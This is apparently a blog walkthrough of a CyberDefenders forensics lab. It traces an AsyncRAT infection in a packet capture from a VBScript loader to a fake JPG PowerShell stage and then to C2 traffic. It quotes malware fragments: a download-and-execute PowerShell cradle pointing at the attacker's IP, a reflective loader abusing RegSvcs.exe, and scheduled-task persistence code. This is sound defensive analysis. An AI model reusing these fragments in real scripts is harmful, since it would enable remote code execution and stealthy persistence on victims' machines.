xDU0 Blog

Overview#

XLMRat is a compact network-forensics lab where the whole compromise chain is visible in one PCAP: a host downloads an obfuscated script, that script pulls a fake image, the fake image turns out to be PowerShell, and the PowerShell reconstructs and launches a .NET malware payload.

Official challenge: CyberDefenders XLMRat

The important part of this lab is not just answering the questions. The better workflow is to build the chain in order:

• find the first suspicious download,
• deobfuscate the script that caused the next download,
• carve the second-stage content,
• recover the embedded executable,
• use file metadata and reputation results to classify it,
• map the post-compromise behavior to execution, persistence, and C2 techniques.

Case Summary#

PCAP Triage#

I started with the HTTP requests because cleartext web traffic usually exposes the initial delivery chain faster than packet-by-packet browsing.

1
tshark -r 236-XLMRat.pcap -Y http.request \
2
  -T fields \
3
  -e frame.number -e frame.time_relative -e ip.src -e ip.dst \
4
  -e http.request.method -e http.host -e http.request.uri

The PCAP contains two very loud HTTP requests:

The response metadata already looks suspicious:

The second response claims to be an image, but the stream is readable PowerShell, not JPEG data.

The same infrastructure also answers the lab’s hosting-provider question. A lookup for 45.126.209.4 maps the organization and ISP to ReliableSite.net LLC.

Stage 1: VBScript Loader#

The first object, xlm.txt, is a VBScript loader. It splits a PowerShell expression into tiny string fragments, joins them, and launches it with WScript.Shell.

After rebuilding the fragments, the payload becomes:

1
[BYTe[]];
2
$A123='IeX(NeW-OBJeCT NeT.W';
3
$B456='eBCLIeNT).DOWNLO';
4
[BYTe[]];
5
$C789='VAN(''http://45.126.209.4:222/mdm.jpg'')'.RePLACe('VAN','ADSTRING');
6
[BYTe[]];
7
IeX($A123+$B456+$C789)

Normalized, that is simply:

1
IEX(New-Object Net.WebClient).DownloadString('http://45.126.209.4:222/mdm.jpg')

So the first stage does not contain the full malware. Its job is to hide the URL and execute whatever comes back from mdm.jpg.

Stage 2: Fake JPG PowerShell#

The mdm.jpg object is PowerShell with three interesting jobs:

• rebuild a PE file from hex strings,
• load and invoke it reflectively,
• drop helper scripts under C:\Users\Public.

The PE reconstruction is visible because the script starts with an MZ header encoded as underscore-separated hex bytes.

Saving the decoded bytes gives the recovered executable.

The local hash confirms the payload:

1
sha256sum download.dat

1
1eb7b02e18f67420f42b1d94e74f3b6289d92672a0fb1786c30c03d68e81d798  download.dat

The file command also tells us what kind of payload we are dealing with:

1
PE32 executable for MS Windows 4.00 (GUI), Intel i386 Mono/.Net assembly, 3 sections

Reflective Execution#

The payload is not simply written to disk and double-clicked. The script loads one embedded .NET assembly into memory and uses it to execute the second PE through a LOLBin path.

The key execution pattern is:

1
$Fu = [Reflection.Assembly]::Load($pe)
2
$NK = $Fu.GetType('NewPE2.PE')
3
$MZ = $NK.GetMethod('Execute')
4
$AC = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe'
5
$VA = @($AC, $NKbb)
6
$EY = $MZ.Invoke($null, [object[]] $VA)

RegSvcs.exe is useful to the attacker because it is a Microsoft-signed .NET utility. Here it is abused as the host process for stealthy .NET execution.

Dropped Files and Persistence#

The script writes three files into C:\Users\Public:

• Conted.ps1
• Conted.bat
• Conted.vbs

The flow is layered:

• Conted.vbs uses WScript.Shell to run a file hidden.
• Conted.bat starts powershell.exe with -NoProfile, -WindowStyle Hidden, and -ExecutionPolicy Bypass.
• Conted.ps1 contains the actual reflective loader content.

The script then registers a scheduled task named Update Edge that runs every two minutes:

1
$scheduler = New-Object -ComObject Schedule.Service
2
$scheduler.Connect()
3
$taskDefinition = $scheduler.NewTask(0)
4
$trigger = $taskDefinition.Triggers.Create(1)
5
$trigger.Repetition.Interval = "PT2M"
6
$action = $taskDefinition.Actions.Create(0)
7
$action.Path = "C:\Users\Public\Conted.vbs"
8
$taskFolder.RegisterTaskDefinition("Update Edge", $taskDefinition, 6, $null, $null, 3)

That gives the malware persistence even if the initial process dies.

C2 Traffic#

After the payload stage, the victim performs a DNS lookup:

1
10.1.9.101 -> 10.1.9.1  A? madmrx.duckdns.org
2
10.1.9.1   -> 10.1.9.101  madmrx.duckdns.org A 45.126.209.4 ...

Shortly after that, the victim opens a long TLS session to the same attacker infrastructure:

The TCP conversation summary makes the C2 session stand out:

1
10.1.9.101:49723 <-> 45.126.209.4:8808
2
1199 frames, 133 kB, duration 624.6773 seconds

That long encrypted conversation is consistent with a RAT beacon/control channel after successful execution.

Malware Classification#

Uploading the recovered executable hash to VirusTotal gives a strong malicious verdict. The screenshot shows 61/71 engines flagging the file, with a popular threat label of trojan.asyncrat/msil.

The Details tab gives the timestamp and confirms the file type:

• SHA256: 1eb7b02e18f67420f42b1d94e74f3b6289d92672a0fb1786c30c03d68e81d798
• File type: Win32 EXE / .NET executable
• Creation time: 2023-10-30 15:08:44 UTC

Alibaba labels the sample as:

1
Backdoor:MSIL/AsyncRat.a2786761

So the family answer is AsyncRAT.

Timeline#

MITRE ATT&CK Mapping#

Final Answers#

Indicators#

1
45.126.209.4
2
45.126.209.4:222
3
45.126.209.4:8808
4
madmrx.duckdns.org
5
http://45.126.209.4:222/xlm.txt
6
http://45.126.209.4:222/mdm.jpg
7
C:\Users\Public\Conted.ps1
8
C:\Users\Public\Conted.bat
9
C:\Users\Public\Conted.vbs
10
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
11
Update Edge
12
1eb7b02e18f67420f42b1d94e74f3b6289d92672a0fb1786c30c03d68e81d798

Takeaways#

The lab is a good reminder that file extensions and content types are weak evidence. The most valuable pivot was the HTTP stream: mdm.jpg looked like an image in the request but behaved like PowerShell when inspected.

The full attack chain is also a clean example of modern commodity malware delivery: script-based download, obfuscated PowerShell, reflective .NET loading, LOLBin execution, scheduled-task persistence, and encrypted C2. Once those pieces are connected, the AsyncRAT classification is no longer just a VirusTotal label; it matches the behavior seen in the capture.